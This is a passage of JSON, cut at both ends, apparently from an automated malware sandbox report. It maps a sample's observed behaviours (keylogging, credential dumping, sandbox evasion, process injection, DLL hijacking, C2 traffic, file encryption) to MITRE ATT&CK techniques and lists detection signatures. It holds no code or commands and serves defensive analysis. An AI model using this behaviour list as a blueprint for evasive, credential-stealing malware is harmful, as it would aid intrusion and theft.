DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"},{"type":"suspicious","value":"Contains ability to update the user profile"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"DLL Search Order Hijacking","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains key cryptographic functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"},{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"malicious","value":"PE file contains executable resources"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Tries to disable/delete scheduled tasks"},{"type":"malicious","value":"Tries to delete scheduled tasks"},{"type":"suspicious","value":"Able to delete scheduled task(s)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Contains ability to identify remote systems"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Imports windows networking related APIs"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"suspicious","value":"Calls an API typically used to enumerate services"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to move file or directory"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","identifiers":[{"type":"informative","value":"Attempts to launch the Installer package binary"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Selective Exclusion","attack_id":"T1679","attack_id_wiki":"https://attack.mitre.org/techniques/T1679","identifiers":[{"type":"informative","value":"Attempts to rename multiple files with a new extension, avoiding critical system files"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Calls an API used to connect to internet"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"},{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"malicious","value":"Detected multiple DNS responses with a low TTL"},{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"References hosts file in file/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with bottom confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-19","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$25","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API 